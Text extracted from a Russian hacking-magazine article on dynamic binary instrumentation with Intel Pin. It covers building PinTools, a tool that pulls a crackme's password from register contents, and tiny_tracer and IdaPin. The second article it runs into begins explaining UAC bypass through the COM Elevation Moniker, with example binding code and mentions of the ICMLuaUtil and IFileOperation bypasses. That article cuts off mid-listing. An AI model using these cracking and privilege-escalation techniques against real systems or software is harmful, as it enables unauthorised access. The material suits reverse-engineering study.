СОБИРАЕМ ИСХОДНИКИ

Собирать будем для Windows 10. Поскольку софт в первую очередь ориенти‐
рован на Linux, там проблем вообще не будет. Нам потребуется компилятор

 и  .Visual Studio GNU Make
Я использую Community-версию Visual Studio 2022. Нам нужен пакет

Desktop development for C++. Советую при  установке выбрать английский
язык, чтобы не  путаться в  меню. Ставим Cygwin 64  в  корень диска, качаем
пакет Make из категории Devel.

Настроим в консоли переменные окружения:

set PATH=%PATH%;C:\cygwin64\bin


Теперь  будет запускаться по имени.make

"C:\Program Files\Microsoft Visual Studio\2022\Community\VC\
Auxiliary\Build\vcvars64.bat"


"C:\Program Files\Microsoft Visual Studio\2022\Community\VC\
Auxiliary\Build\vcvars32.bat"


Запускаем  32- или  64-разрядную версию перед  каждой сборкой. Вместе
с Pin идет куча примеров, собираем всю папку или один конкретный.

cd C:\PIN\source\tools\SimpleExamples


make all TARGET=intel64

make obj-ia32/icount.dll TARGET=ia32

make obj-intel64/icount.dll TARGET=intel64


Тестовые программы из статьи собираются в IDE, остальное — через тот же
Make.

РАЗБИРАЕМ ICOUNT

Возьмем самый простой пример  —  из  поставки Pin. Я вырезал
необязательную часть кода, так что твой файл будет немного отличаться.

icount.cpp

C:\PIN\source\tools\SimpleExamples\icount.cpp

 #include "pin.H"
 #include <iostream>

   UINT64 ins_count = 0;

 VOID docount()
{
   ins_count++;
}

    VOID Instruction(INS ins, VOID* v)
{
      INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)docount, IARG_END);
}

    VOID Fini(INT32 code, VOID* v)
{
         std::cerr << "Count " << ins_count << std::endl;
}

 INT32 Usage()
{
       cerr << "Prints out the number of executedinstructions.\n" << std
::endl;
    return -1;
}

    int main(int argc, char* argv[])
{
     if (PIN_Init(argc, argv))
   {

        return Usage();
   }

    INS_AddInstrumentFunction(Instruction, 0);
    PIN_AddFiniFunction(Fini, 0);
   PIN_StartProgram();
    return 0;
}

Исполнение начинается в  . Давай разберем, что делает API.main
  — инициализация PIN. Тут происходит разбор аргументов

командной строки. В  случае неудачи возвращает ненулевое значение,
а мы выводим справку об использовании.

• PIN_Init

 регистрирует функцию, которая будет
вызвана для каждой встречаемой по ходу исполнения ассемблерной инс‐
трукции. Это так называемая Instrumentation Routine, она вызывается лишь
однажды. Здесь мы вольны анализировать или модифицировать проверя‐
емый код, собственно проводить вставку своего кода.

• INS_AddInstrumentFunction

 принимает переменное число аргументов, доступные
константы указаны в  . Помещает вызов произвольной фун‐
кции перед инструкцией , в данном случае не передавая никаких аргу‐
ментов.

• INS_InsertCall

документации
ins

 вызывается каждый раз перед  исследуемой инструкцией.
Это  Analysis Routine, функция, которая должна быть максимально опти‐
мизирована, чтобы не  тормозить процесс. В  ней всего одна команда  —
увеличение глобального счетчика .

• docount

ins_count

 регистрирует функцию , она вызывается
по завершении процесса или вызову  внутри инструмента.

• PIN_AddFiniFunction Fini

PIN_Detach

 запускает исполнение исследуемого процесса.
Никогда не  возвращает управление. После вызова регистрация новых
функций невозможна.

• PIN_StartProgram

ЗАПУСК ИНСТРУМЕНТАЦИИ

После сборки под  32-разрядную архитектуру в  папке  появилась

DLL. Применим ее на деле.

obj-ia32










C:\PIN\pin.exe -t obj-ia32\icount.dll -- cmd /c ver

Microsoft Windows [Version 10.0.19043.1889]

Count 5609927

Аргумент  содержит путь до PinTool. Прочерки отделяют аргументы целевой

программы. В данном случае просим консоль сказать текущую версию ОС.

-t

Обе программы пишут в консоль, сначала , затем  выводит число
инструкций. Надо понимать, что учитывается не один код приложения, а вся
трасса, включая библиотеки и загрузчик, то есть часть кода из NTDLL и внут‐
ренности WinAPI.

cmd Fini

C:\PIN\pin.exe -pid 4956 -t obj-ia32\icount.dll


Можно подключиться к уже запущенному процессу, подловив его в интересу‐
ющий нас момент. Чтобы вывод количества команд сработал, приложение
должно быть консольным.

ГРАНУЛЯРНОСТЬ

В целях оптимизации Pin обрабатывает опкоды группами. Их существует три
вида: трасса, базовый блок и  одиночная инструкция.   — это  набор

базовых блоков;   — набор инструкций, который обрывается командой
передачи управления;  — любая инструкция.

Trace
BBL

Ins
Лучший способ разобраться в чем‑либо — сделать это на практике. Сле‐

дующий код записывает в  файл  анализируемые инструкции,

визуально разделяя базовые блоки и трассы.

tracer.out

 #include <stdio.h>
 #include "pin.H"

 FILE* out;

    VOID Trace(TRACE trace, VOID* v)
{
    fprintf(out, "\n----------------------------\n");

           for (BBL bbl = TRACE_BblHead(trace); BBL_Valid(bbl); bbl =
BBL_Next(bbl))
   {

        fprintf(out, "\n");

               for (INS ins = BBL_InsHead(bbl); INS_Valid(ins); ins =
INS_Next(ins))
       {

              std::string dis = INS_Disassemble(ins);

              fprintf(out, "%p: %s \n", INS_Address(ins), dis.c_str());
       }
   }
}

    VOID Fini(INT32 code, VOID* v)
{
   fclose(out);
}

    int main(int argc, char* argv[])
{
      out = fopen("tracer.out", "w");
       if (PIN_Init(argc, argv)) return -1;
    TRACE_AddInstrumentFunction(Trace, 0);
    PIN_AddFiniFunction(Fini, 0);
   PIN_StartProgram();
    return 0;
}

Запустив на  тестовом файле, видим, что трасса всегда заканчивается
на  командах безусловной передачи управления ( , , , )

либо когда достигается максимальное количество базовых блоков, в  моем
случае на трех.

ret jmp call syscall

0x7ffa7c57d876: sub ecx, 0x1

0x7ffa7c57d879: jz 0x7ffa7c57da21


0x7ffa7c57d87f: sub ecx, 0x1

0x7ffa7c57d882: jz 0x7ffa7c57d941


0x7ffa7c57d888: sub ecx, 0x1

0x7ffa7c57d88b: jz 0x7ffa7c57d938


Документация просит вставлять свой код на  уровне трассы, чтобы не  тор‐
мозить исследуемое приложение. То есть по  возможности использовать

 вместо . Помимо этого, для оптимизации

можно ограничить инструментацию по  адресу функции или  конкретному
модулю.

TRACE_InsertCall INS_InsertCall

Продолжение статьи
→

https://software.intel.com/en-us/articles/pin-a-binary-instrumentation-tool-downloads
https://software.intel.com/sites/landingpage/pintool/downloads/pin-3.30-98830-g1d7b601b3-gcc-linux.tar.gz
https://software.intel.com/sites/landingpage/pintool/downloads/pin-3.30-98830-g1d7b601b3-msvc-windows.zip
https://visualstudio.microsoft.com/downloads/
https://cygwin.com/
https://software.intel.com/sites/landingpage/pintool/docs/98650/Pin/doc/html/


БУЛАВКОЙ ПО МОЗГАМ
АНАЛИЗИРУЕМ ДИНАМИЧЕСКИЙ

КОД ПРИ ПОМОЩИ INTEL PIN

ВЗЛОМ 
НАЧАЛО СТАТЬИ←

ПИШЕМ УНИВЕРСАЛЬНЫЙ КРЯКЕР

Давай разберем простой crackme и извлечем из него пароль в момент срав‐
нения с пользовательским ключом. Сложность состоит в том, чтобы добрать‐
ся до  этого места, преодолев антиотладку и  слой упаковщика. Однако Pin
сделает это за нас. Нам остается только поймать настоящий пароль.

Напишем тестовый образец, который затем будем взламывать.

 #include <stdio.h>
 #include <windows.h>

    int main(int argc, char* argv[])
{
      if (argc == 2)
   {

           if (strcmp(argv[1], "secret") == 0)
       {
           printf("You did it!\n");
       }
       else
       {
           printf("Better luck next time\n");
       }
   }
   else
   {
       printf("Give me the string!\n");
   }
}

Наш crackme принимает пароль и выводит результат сравнения. Вот как выг‐
лядит этот участок кода после компиляции:

mov rdx,qword ptr ds:[rdx+8]

lea r9,qword ptr ds:[<"secret"...>]

xor r8d,r8d

mov ecx,r8d

movzx eax,byte ptr ds:[rdx+rcx]

inc rcx

cmp al,byte ptr ds:[r9+rcx-1]

Чтобы сравнить строки, надо знать их адрес. В регистр  попадает ссылка
на  пользовательский ввод, а  в   — на  пароль. Нам остается записать все

строки, которые будут записаны в  регистры во  время исполнения. Непода‐
леку от введенной нами строки будет пароль.

RDX
r9

Копируем шаблон  в папку .C:\PIN\source\tools\MyPinTool MyCracker

 #include <stdio.h>
 #include "pin.H"

 FILE* trace;

  BOOL IsAsciiChar(char c)
{
          return (c >= ' ' && c <= '~');
}

    int GetValidCount(char* str, int max)
{
      int counter = 0;

       for (int i=0; i<max; i++)
   {

        if(!IsAsciiChar(str[i])) break;
       counter++;
   }

    return counter;
}

#define DATA_SIZE 50
#define STR_MIN_LEN 4

    VOID AnalyzeContext(REG reg, CONTEXT *ctxt)
{
   PIN_LockClient();

    ADDRINT reg_val;
      PIN_GetContextRegval(ctxt, reg, (UINT8 *)(&reg_val));

    char buffer[DATA_SIZE+1];

       if(PIN_SafeCopy(buffer, (VOID*)reg_val, DATA_SIZE) == DATA_SIZE)
   {

           int count = GetValidCount(buffer, DATA_SIZE);
          if (count >= STR_MIN_LEN)

       {
             buffer[count] = 0;
            fprintf(trace, "%s: %p = %s (%d) \n",

                  REG_StringShort(reg), reg_val, buffer, count);
       }
   }

   PIN_UnlockClient();
}

  BOOL IsValidAddr(ADDRINT Address)
{
      IMG img = IMG_FindByAddress(Address);
      return IMG_Valid(img) && IMG_IsMainExecutable(img);
}

    VOID Instruction(INS ins, VOID* v)
{
      ADDRINT addr = INS_Address(ins);

      if (IsValidAddr(addr) && INS_IsValidForIpointAfter(ins))
   {

               for (UINT32 i = 0; i < INS_MaxNumWRegs(ins); i++)
       {

                const REG reg = INS_RegW(ins, i);
            if(!REG_is_reg(reg)) continue;

           INS_InsertPredicatedCall(ins,
               IPOINT_AFTER,
               (AFUNPTR)AnalyzeContext,

                IARG_UINT32, reg,
               IARG_CONST_CONTEXT,
               IARG_END);
       }
   }
}

    VOID Fini(INT32 code, VOID* v)
{
   fclose(trace);
}

    int main(int argc, char* argv[])
{
      trace = fopen("cracker.out", "w");
       if (PIN_Init(argc, argv)) return -1;
    INS_AddInstrumentFunction(Instruction, 0);
    PIN_AddFiniFunction(Fini, 0);
   PIN_StartProgram();
    return 0;
}

Чтобы можно было работать не только с консольными приложениями, вывод
пишется в  файл . Добавляем вызов, проверяющий каждую

встречаемую инструкцию. В  нем смотрим ее адрес, чтобы не  трассировать
инструкции вне исследуемого модуля. Если инструкция меняет любой про‐
цессорный регистр  — вставляем инструментацию сразу после нее. Так
получаем значение регистра и  пытаемся интерпретировать это  значение
как  ссылку на  ASCII-строку. Если удалось и  строка длинней четырех сим‐
волов — заносим в общий лог.

cracker.out

C: IN ource oolscd \P \s \t \MyCracker

make TARGET=intel64


Собираем и пробуем на тестовом образце.

c:\PIN\pin.exe -t MyPinTool.dll -- CrackMe.exe 123456


Заглянем в логи:

rdx: 0x2045e1ba933 = 123456 (6)

r9: 0x7ff618312250 = secret (6)

rax: 0x7ff618312268 = Better luck next time (21)

rcx: 0x7ff618312258 = You did it! (11)


Как и предполагалось, пароль лежит по соседству. Теперь попробуем то же
самое на   с  crackmes.one. Программа упакована
и  обфусцирована. Пароль для  большинства архивов  — . Будь

готов к тому, что у тебя по ошибке сработает антивирус.

реальной crackme
crackmes.one

Вот что выводит наша крякми.









[---] Access denied! The sysadmin gloats over your failure.




  Login error! The account administrator was offended
  by you and changed the authorization data. Take action!

admin@DESKTOP:~$ 12345

Делаем то же самое с  инструментацией и  сразу после введенной строки
находим в логе следующее:

rcx: 0x14017994 = s.h_ (4)

rax: 0x14017880 = 12345 (5)

rcx: 0x14017990 = obfus.h_ (8)

rsp: 0x14fce0 = Auth (4)


Пробуем находку в качестве пароля:






[+++] Access is allowed! Yes, you showed how it should be done.




admin@DESKTOP:~$ obfus.h_

Нам не потребовалось даже запускать отладчик!

TINY_TRACER

Самый известный инструмент из публичных PinTools — . Он помога‐
ет антивирусным аналитикам определять, что делает исследуемое приложе‐
ние. Он записывает вызовы WinAPI, как бы хорошо они ни были спрятаны.

tiny_tracer

Ставим исходники в  .

Документация рекомендует сборку в IDE, но мой компилятор почему‑то пада‐
ет в  отладку. Для  сборки через Make необходимо убрать две строчки
из  :

C:\PIN\source\tools\tiny_tracer-2.7.1

TinyTracer.cpp

#define USE_ANTIDEBUG
#define USE_ANTIVM

Либо включить два файла в  :makefile.rules

$(OBJDIR)ProcessInfo$(OBJ_SUFFIX) $(OBJDIR)AntiVm$(OBJ_SUFFIX) $(
OBJDIR)AntiDebug$(OBJ_SUFFIX) $(OBJDIR)FuncWatch$(OBJ_SUFFIX)


В папке  лежат вспомогательные инстру‐
менты: скрипты для  запуска через контекстное меню, пример конфигурации
и  тому подобное. В  эту же папку помещаем 

и  , если хотим использовать их вместе.

tiny_tracer-2.7.1\install32_64

TinyTracer32.dll
TinyTracer64.dll

Напишем тестовый образец:

 #include <stdio.h>
 #include <windows.h>

 void Test_NtApi()
{
       LPVOID NtClose = GetProcAddress(GetModuleHandleA("ntdll"),
"NtClose");
      typedef int (*NtCloseAddr)(int handle);
   ((NtCloseAddr)NtClose)(0);
}

     extern "C" void __fastcall NtCloseSyscall(int handle);

 void Test_DirectSysCall()
{
   NtCloseSyscall(0);
}

 void Test_ShellCode()
{
    DWORD OldProt;

       CHAR shellcode[] = "\x90\xC3"; // just NOP & RET

      DWORD shell_len = sizeof(shellcode);
      LPVOID shell_buf = malloc(shell_len);

      VirtualProtect(shell_buf, shell_len, PAGE_EXECUTE_READWRITE, &
OldProt);
     memcpy(shell_buf, shellcode, shell_len);

     typedef void (*ShellType)();
   ((ShellType)shell_buf)();
}

    int main(int argc, char* argv[])
{
   Test_NtApi();
   Test_DirectSysCall();
   Test_ShellCode();
}

К сожалению, компилятор MSVC не разрешает ассемблерные вставки внутри
кода для  x86-64. Добавляем компилятор MASM в  Build dependencies.
И   — через Project → Add New Item.syscall.asm

.code


NtCloseSyscall PROC

mov r10,rcx

mov eax,15

syscall

ret

NtCloseSyscall ENDP


END


Первый тест динамически получает адрес  и вызывает его с нулевым
аргументом. Следующий тест выполняет то же самое, но  вызывая 

напрямую. Последний запускает произвольный шелл‑код. Он слишком велик
для листинга, скопируй его с  .

NtClose
syscall

GitHub

c:\PIN\pin.exe -t TinyTracer64.dll -- Test4TT.exe


В  получаем:output.txt

13e0;section: [.text]

101b;kernel32.GetModuleHandleA

102b;kernel32.GetProcAddress

1038;ntdll.NtClose

1148;SYSCALL:0xf

10b3;ucrtbase.malloc

10d4;kernel32.VirtualProtect

10ef;called: ?? [2b51f69a000+1e0]

> 2b51f69a000+205;kernel32.LoadLibraryA

> 2b51f69a000+22e;user32.MessageBoxA

> 2b51f69a000+246;kernel32.FatalExit


Тесты отражены корректно. Видим MessageBox из шелл‑кода. Но не хватает
аргументов функций.

kernel32;GetModuleHandleA;1

kernel32;GetProcAddress;2

ntdll;NtClose;1

<SYSCALL>;15;1

ucrtbase;malloc;1

kernel32;VirtualProtect;4

kernel32;LoadLibraryA;1

user32;MessageBoxA;4

kernel32;FatalExit;1


Записываем число аргументов в   и запускаем 
 для получения  примерно с таким содержимым:

params.txt syscall_extract.
exe syscalls.txt

0xd,NtSetInformationThread

0xe,NtSetEvent

0xf,NtClose


Осталось повторно запустить tiny_tracer с новыми параметрами.

-t TinyTracer64.dll -s TinyTracer.ini -l syscalls.txt -b params.txt 
-- Test4TT.exe


Видим, что настройки приняты.













Watch 8 functions

Watch 1 syscalls

SyscallTable size: 1791

This application is instrumented by TinyTracer v.2.7.1

Tracing module: Test4TT.exe

Watch C:\Windows\System32\KERNEL32.DLL: GetModuleHandleA [1]

Watch C:\Windows\System32\KERNEL32.DLL: GetProcAddress [2]

Watch C:\Windows\System32\KERNEL32.DLL: VirtualProtect [4]

Watch C:\Windows\System32\KERNEL32.DLL: LoadLibraryA [1]

Watch C:\Windows\System32\KERNEL32.DLL: FatalExit [1]
Watch C:\Windows\SYSTEM32\ntdll.dll: NtClose [1]

Watch C:\Windows\System32\ucrtbase.dll: malloc [1]

Watch C:\Windows\System32\USER32.DLL: MessageBoxA [4]

Получаем лог со всеми аргументами.































101b;kernel32.GetModuleHandleA

GetModuleHandleA:

    Arg[0] = ptr 0x00007ff799dd2268 → "ntdll"

102b;kernel32.GetProcAddress

GetProcAddress:

    Arg[0] = ptr 0x00007ffa16950000 → {MZ\x90\x00\x03\x00\x00\x00}

    Arg[1] = ptr 0x00007ff799dd2260 → "NtClose"

1038;ntdll.NtClose

NtClose:

    Arg[0] = 0

1148;SYSCALL:0xf(NtClose)

NtClose:

    Arg[0] = 0

10b3;ucrtbase.malloc

malloc:

    Arg[0] = 0x00000000000001b2 = 434

10d4;kernel32.VirtualProtect

VirtualProtect:

    Arg[0] = ptr 0x000001176a27a1e0 → {\x00\xe0'j\x17\x01\x00\x00}

    Arg[1] = 0x00000000000001b2 = 434
    Arg[2] = 0x0000000000000040 = 64

    Arg[3] = ptr 0x00000003e0affbc0 → {\x00\x00\x00\x00\x00\x00\x00\x00}

10ef;called: ?? [1176a27a000+1e0]

 1176a27a000+205;kernel32.LoadLibraryA

LoadLibraryA:

    Arg[0] = ptr 0x000001176a27a262 → "USER32.DLL"

 1176a27a000+22e;user32.MessageBoxA

MessageBoxA:

    Arg[0] = 0

    Arg[1] = ptr 0x000001176a27a279 → "Hello world"

    Arg[2] = ptr 0x000001176a27a285 → "Message"

    Arg[3] = 0

 1176a27a000+246;kernel32.FatalExit

FatalExit:

    Arg[0] = 0

IDAPIN

Напоследок разберем еще  один неплохой инструмент.   — плагин
для удаленной отладки в IDA Pro. Его можно собрать из исходников или ска‐
чать в готовом виде. Для последнего требуется конкретная версия Pin, ссыл‐
ка на нее есть в описании релиза.

IdaPin

Запуск несложен, меняем Local windows debugger на PIN Tracer и указыва‐
ем в настройках правильные пути до   и папку с плагинами. Ожидаем

конца загрузки и получаем полноценную отладочную сессию.

pin.exe

Плагин раскрашивает пройденный код на  графе: одним цветом пошаго‐
вую трассировку, другим  — обычное исполнение. Остановившись
на breakpoint, можно увидеть, каким путем до него добрался поток команд.

Использование Pin скрывает факт отладки. Чтобы заметить Pin, надо
хотя бы знать о его существовании. Чего обычно не бывает.

Я прогонял IdaPin на  антиотладочных трюках. Засыпался он только
на этом:

 #include <Windows.h>
 #include <stdio.h>

 int main()
{
      DWORD64 timer_1 = __rdtsc();
      DWORD64 timer_2 = __rdtsc();
        DWORD64 diff = timer_2 - timer_1;

    printf("diff: %p", diff);

    return 0;
}

Команда  (Read Time Stamp Counter) возвращает точное количество

тактов, пройденных процессором. Собственно, в  них измеряется частота
процессора. На одну ассемблерную инструкцию может приходиться несколь‐
ко тактов.

RDTSC

Фактически два идущих подряд измерения дают минимальную разницу.
Если процесс находится под пошаговой отладкой, виртуализацией или между
замерами происходит переключение контекста, разница в числе тактов ста‐
новится неправдоподобно большой.

Это проблема реализации IdaPin; хорошо оптимизированные PinTools дают
разницу счетчиков в  пределах погрешности и, скорее всего, замечены
не будут. К  тому же результат работы  несложно подменить, как это

делает tiny_tracer.

__rdtsc

ВЫВОДЫ

Несмотря на свою «прозрачность», Pin нетрудно обнаружить по добавлению
 или множеству других артефактов. Полномочия Pin заканчиваются

в  конкретном user-mode-процессе, он не  ограничивает общение процесса
с  ядром. Специально спроектированный код может сбежать из  виртуальной
машины или изменить поведение, заметив ее наличие. В общем, Pin — это не
панацея, но еще один хакерский инструмент в наш плотно набитый чемодан‐
чик.

pinvm.dll

https://crackmes.one/crackme/66202492cddae72ae250c96e
https://github.com/hasherezade/tiny_tracer
https://gist.github.com/kkent030315/b508e56a5cb0e3577908484fa4978f12
https://github.com/Rupan/idapin
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ВЗЛОМ

Механизм User Account Control в  Windows
не  дает пользователю взять и  запустить
малварь от лица администратора. Впрочем,
система любезно предусмотрела механизм
Elevation Moniker, чтобы упростить жизнь
хакерам. В  этой статье мы разберем,
как  использовать моникеры для  обхода
UAC. Всё по‑взрослому! На  жестком C++
с интерфейсами.

МОНИКЕРЫ

Первым делом отметим, что моникеры  — один из  кирпичиков подсистемы
COM (Component Object Model). С  помощью COM разработчики могут соз‐
давать такие программные компоненты, которые способны взаимодейство‐
вать друг с  другом в  самых разных плоскостях. Например, с  помощью COM
можно из кода Visual Basic дергать сборку .NET и наоборот! А что ты думаешь
по поводу связки программ на Go и C++?

Здесь есть сервер — им считается тот, кто предоставляет функции COM, —
и клиент — тот, кто обращается к функциям сервера. Возможности сервера
COM прописываются в классе COM. При обращении к серверу COM создает‐
ся экземпляр класса COM, и  клиент получает этот экземпляр. После чего
может взаимодействовать с сервером.

Конечно, уже опытные смешарики скажут, что в  действительности идет
работа с  интерфейсами: сервер зачастую отдает маршализированный
интерфейс, через который будет происходить взаимодействие, а еще между
клиентом и  сервером висит прокси, стаб, апартаменты, RPC... Впрочем,
такие подробности не  нужны. Пока достаточно понимать, что есть сервер
и клиент COM. Их взаимодействие происходит через экземпляр класса COM,
в котором определены некие возможности.

Изучить базу про  COM можно в  статье  или  в
.

Inside COM+: Base Services
официальной документации

Для создания экземпляра класса COM (процесс инстанцирования) тре‐
буется специальное значение CLSID (Class Identifier). Оно однозначно иден‐
тифицирует класс COM, к  которому хочет обратиться клиент. Помимо того,
само создание объекта COM реализовывало порождающий паттерн проекти‐
рования, называемый .фабрикой

Все с этим нормально жили и не тужили, однако в один момент захотели
избавиться от обязательного использования CLSID и фабрики. Хотелось сде‐
лать всё так, чтобы объект находился как‑нибудь сам, автоматически,
по минимальному общему входному набору данных.

И тогда на помощь пришли моникеры. Они позволяют идентифицировать
конкретный объект COM (или даже полноценно его реализовать) по простой
строке ( ). Эдакая строковая презентация объекта СОМ.moniker string

Процесс инстанцирования объекта COM из  моникера называется акти‐
вацией или же связыванием моникера (Binding). Моникер обладает достаточ‐
ной информацией, чтобы найти и  активировать нужный объект СОМ. Эту
информацию моникер получает один раз, во время своего создания — в виде
строки, формат которой он понимает. Позже менять эту информацию уже
нельзя. Поэтому моникер, будучи однажды созданным, всегда находит и акти‐
вирует один и тот же объект.

Моникерами считаются все объекты, которые реализуют интерфейс
. Возврат клиенту объекта COM происходит в функции 

.

IMoniker IMoniker::
BindToObject()

 HRESULT BindToObject(
    [in] IBindCtx *pbc,
    [in] IMoniker *pmkToLeft,
      [in] REFIID riidResult,
       [out] void **ppvResult
);

 — контекст связывания. Это специальный объект СОМ, реализующий
интерфейс . С  помощью этого объекта указывается, каким
образом должен осуществляться и  как проходит в  этот момент процесс
связывания (активации объекта СОМ по моникеру);

• pbc

IBindCtx

 — целевой моникер, по которому создавать объект COM;• pmkToLeft

 — внутри каждого класса COM может быть реализовано нес‐
колько интерфейсов. Здесь указывается IID (Interface Identifier) целевого
интерфейса, который хотим получить;

• riidResult

  — переменная, которая получит инициализированный ука‐
затель на интерфейс, через который можно взаимодействовать с классом
COM.

• ppvResult

ПОДВИДЫ МОНИКЕРОВ

Моникеры делятся на два подвида:
системные (они же встроенные, они же стандартные) — набор моникеров,
предоставляемых Microsoft;

•

пользовательские — созданные сторонними разработчиками.•

Даже системных моникеров очень много. Мы остановимся на одном конкрет‐
ном: . Этот моникер позволяет активировать объект COM
в контексте повышенных привилегий. С помощью этого моникера хакер спо‐
собен из процесса со средним уровнем целостности получить доступ к объ‐
екту COM, расположенному в  процессе с  высоким уровнем целостности,
а затем, злоупотребляя возможностями этого объекта, выбраться в привиле‐
гированный процесс.

Elevation Moniker

Помимо этого, существуют , с  их помощью клиент может
инстанцировать объект COM в чужой сессии. На этом был основан эксплоит

. Впрочем, о нем поговорим в следующей статье.

Session Moniker

COM Session Moniker EOP
Для успешного байпаса UAC нужно соблюдение нескольких условий:
наличие интересных возможностей в  классе COM: выполнение команд,
удаление файлов, добавление пользователей — в общем, все, что требует
токена с высоким уровнем целостности;

•

правильная регистрация класса COM в реестре Windows.•

Начнем со второго пункта.

РЕГИСТРАЦИЯ ELEVATION MONIKER

Класс COM (его поле ) должен иметь значение 

(это значение дефолтное, применяется в том числе, если поле  пустое)
либо . Если значение другое, то при попытке забин‐

диться к моникеру получим ошибку .

RunAs The Launching User
RunAs

Activate As Activator
CO_E_RUNAS_VALUE_MUST_BE_AAA

Предлагаю рассматривать на примере класса COM, который соответству‐
ет всем требованиям. Вот его CLSID:

{3E5FC7F9-9A51-4367-9063-A120244FBEC7}


Значение  указывается для  AppID, поэтому сначала вычленяем AppID

для CLSID.

RunAs

Получение AppID по CLSID

Вот как это выглядит в коде:

      DWORD GetAppIdFromClsid(IN std::wstring clsid, OUT std::wstring&
appId)
{
    HKEY hClsidKey;
      std::wstring clsidSubKey = L"CLSID\" + clsid;
   if (RegOpenKeyEx(HKEY_CLASSES_ROOT, clsidSubKey.c_str(), 0, 
KEY_READ, &hClsidKey) != ERROR_SUCCESS)
   {
       return ERROR_OPEN_FAILED;
   }

   TCHAR valueBuffer[256];
   DWORD valueBufferSize = sizeof(valueBuffer);

   if (RegQueryValueEx(hClsidKey, L"AppID", NULL, NULL, (LPBYTE)
valueBuffer, &valueBufferSize) == ERROR_SUCCESS)
   {
       appId = valueBuffer;
   }

   RegCloseKey(hClsidKey);

   return ERROR_SUCCESS;
}

После чего проверяем ключ .AppID

RunAs нет. Значит, The Launching User

Следующим шагом нужно убедиться в  наличии ключа ,
в котором будет путь к целевой DLL с функциями COM. Если такой записи нет,
активация возвращает ошибку .

LocalizedString

CO_E_MISSING_DISPLAYNAME

Ключ LocalizedString

В подпапочке  лежит ключ , указывающий на значок

приложения. Здесь  — идентификатор ресурса, а   — разрешить

ли использовать этот COM-класс с Elevation Moniker.

Elevation IconReference
-101 Enabled

Папочка Elevation

Если какая‑то запись отсутствует, то активация возвращает ошибку
. Обрати внимание, что эти записи должны сущес‐

твовать в  ветке , а  не в  ветке 

или  . Это  не позволяет обычным пользователям регистрировать

COM-классы, которые можно использовать с Elevation Moniker.

CO_E_ELEVATION_DISABLED
HKEY_LOCAL_MACHINE HKEY_CURRENT_USER

HKEY_USERS

Для автоматизации поиска классов COM, подходящих для использования
с Elevation Moniker, я создал программу .WinCOMFuzzer

Пример использования

После чего получим список CLSID, которые можно отдать в 
и  проверить последнее значение: . Если оно установлено

в  , то при  повышении уровня целостности через Elevation Moniker
не появится окошко UAC.

OleViewDotNet
Auto Approval

True

Проверка значения Enabled и Auto Approval

Если эти требования соблюдены, то можно себе поаплодировать — мы наш‐
ли класс COM, подходящий под Elevation Moniker.

ИСПОЛЬЗОВАНИЕ ELEVATION MONIKER

Elevation Moniker  — это  стандартный моникер COM. Он отправляет запрос
активации на сервер COM с указанным уровнем повышения. CLSID, который
нужно активировать, надо прописать в строке моникера.

Elevation Moniker поддерживает следующие уровни повышения:
  — это  поле может использоваться только встроенной

учетной записью локального администратора (RID 500). Гарантированно
повысится до High IL;

• Administrator

 — это поле используется всеми остальными учетками, в том чис‐
ле членами групп локальных администраторов. Здесь никаких гарантий
нет. Windows попытается выдать максимально возможный уровень целос‐
тности для  данного аккаунта. Обычный аккаунт получит Medium IL, учетка
из группы ЛА — High IL.

• Highest

Синтаксис моникера следующий:

Elevation:Administrator!new:{guid}

Elevation:Highest!new:{guid}


Здесь   — CLSID класса COM, установленный согласно требованиям,

описанным выше.

guid

Отмечу, что здесь используется специальное слово , которое позволя‐

ет при привязке к моникеру получить экземпляр его класса. Внутри вызыва‐
ется  с  последующим вызовом 

.

new

IClassFactory IClassFactory::
CreateInstance()

Помимо этого, есть возможность раздобыть указатель на фабрику, чтобы
получить инстанс вручную. В  таком случае используется ключевое слово

. Ты получишь объект класса, который реализует . Затем

вызывающая сторона дергает , чтобы получить экземпляр
объекта. Выглядит это так:

clsid IClassFactory
CreateInstance()

Elevation:Administrator!clsid:{guid}


В следующем примере кода показано, как  использовать Elevation Moniker.
Не забудь до этого в потоке вызвать !CoInitialize()

      
    

HRESULT CoCreateInstanceAsAdmin(HWND hwnd, REFCLSID rclsid, REFIID
riid, __out void ** ppv)
{
    BIND_OPTS3 bo;
     WCHAR wszCLSID[50];
     WCHAR wszMonikerName[300];

     StringFromGUID2(rclsid, wszCLSID, sizeof(wszCLSID)/sizeof(
wszCLSID[0]));
       

 
 

HRESULT hr = StringCchPrintf(wszMonikerName, sizeof(
wszMonikerName)/sizeof(wszMonikerName[0]), L"Elevation:
Administrator!new:%s", wszCLSID);
    if (FAILED(hr))

        return hr;
     memset(&bo, 0, sizeof(bo));
     bo.cbStruct = sizeof(bo);
     bo.hwnd = hwnd;
      bo.dwClassContext = CLSCTX_LOCAL_SERVER;
       return CoGetObject(wszMonikerName, &bo, riid, ppv);
}

В качестве  можно передавать , COM в таком случае автоматически

вызовет , чтобы найти хендл окна, связанного с текущим
потоком.

hwnd NULL
GetActiveWindow()

ПРИМЕРЫ COM-ОБЪЕКТОВ

ICMLuaUtil
Это один из  самых популярных эксплоитов для  обхода UAC с  помощью
Elevation Moniker, PoC ты найдешь на  . В  коде можно явно наблюдать
CLSID, который мы исследовали ранее, а также Elevation Moniker, еще не ини‐
циализированный.

GitHub

Используемые значения

В свою очередь, этот класс COM в интерфейсе  реализует метод

. Из  его названия понятно, что он связан с  исполнением команд.
Запуск эксплоита с  последующим инстанцированием класса COM через
Elevation Moniker и вызов  позволяет исполнить команды в при‐

вилегированном контексте.

ICMLuaUtil
ShellExec()

ShellExec()

Вызов метода

Кстати, этот метод использовал шифровальщик  для обхода UAC.LockBit

IFileOperation
Предлагаю обратиться к  утечкам . Из  них нам стало известно
о  COM-объекте, который позволяет выполнять файловые операции,
не вызывая окошка UAC. В частности, PoC предоставляет возможность уда‐
ления произвольных файлов.

WikiLeaks

      
  

HRESULT CoCreateInstanceAsAdmin(HWND hwnd, REFCLSID rclsid, REFIID
riid, void **ppv)
{
    BIND_OPTS3 bo;
    WCHAR wszCLSID[50];
    WCHAR wszMon[300];

     StringFromGUID2(rclsid, wszCLSID, sizeof(wszCLSID)/sizeof(
wszCLSID[0]));
       

  
HRESULT hr = StringCchPrintfW(wszMon, sizeof(wszMon)/sizeof(

wszMon[0]), L"Elevation:Administrator!new:%s", wszCLSID);
    if (FAILED(hr))

        return hr;
     memset(&bo, 0, sizeof(bo));
     bo.cbStruct = sizeof(bo);
     bo.hwnd = hwnd;
     bo.dwClassContext = CLSCTX_LOCAL_SERVER;
       return CoGetObject(wszMon, &bo, riid, ppv);
